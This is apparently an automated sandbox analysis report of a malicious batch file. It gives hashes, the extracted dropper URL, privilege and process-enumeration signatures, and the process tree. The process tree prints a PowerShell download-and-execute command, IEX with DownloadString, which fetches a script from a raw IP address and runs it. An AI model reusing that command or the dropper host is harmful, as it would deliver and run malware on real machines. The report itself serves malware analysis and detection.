ca270555bc105598de38c9103f8dd41470b6ea4ae35d5da3cfb75c27a7897204 | Triage

Analysis

max time kernel
114s
max time network
109s
platform
windows10_x64
resource
win10v200217
submitted
17-03-2020 21:10

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General

Target

sGfuLFJL.bat
Size

193B
MD5

17c9f036750c9f73392ad5d300c77ef7
SHA1

e7f99574e7989564a222e10856daded5d49d5922
SHA256

ca270555bc105598de38c9103f8dd41470b6ea4ae35d5da3cfb75c27a7897204
SHA512

e5036da198a282c2ebdf7e0646d5aeeab5e28d20d7266b2cc7309569ab6770258a2f846a5f4470a03d07b63d16d3a0762f860aef106759ecf6be604e3df59d46

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/sGfuLFJL

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3820 4020 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 3820 WerFault.exe
Token: SeBackupPrivilege 3820 WerFault.exe
Token: SeDebugPrivilege 3820 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe
3820	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\sGfuLFJL.bat"
1⤵
PID:4000

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/sGfuLFJL');Invoke-XQXAUMNJQV;Start-Sleep -s 10000"
2⤵
PID:4020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3820

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/3820-0-0x0000000004DE0000-0x0000000004DE1000-memory.dmp

Filesize
4KB

Download
memory/3820-1-0x0000000005510000-0x0000000005511000-memory.dmp

Filesize
4KB

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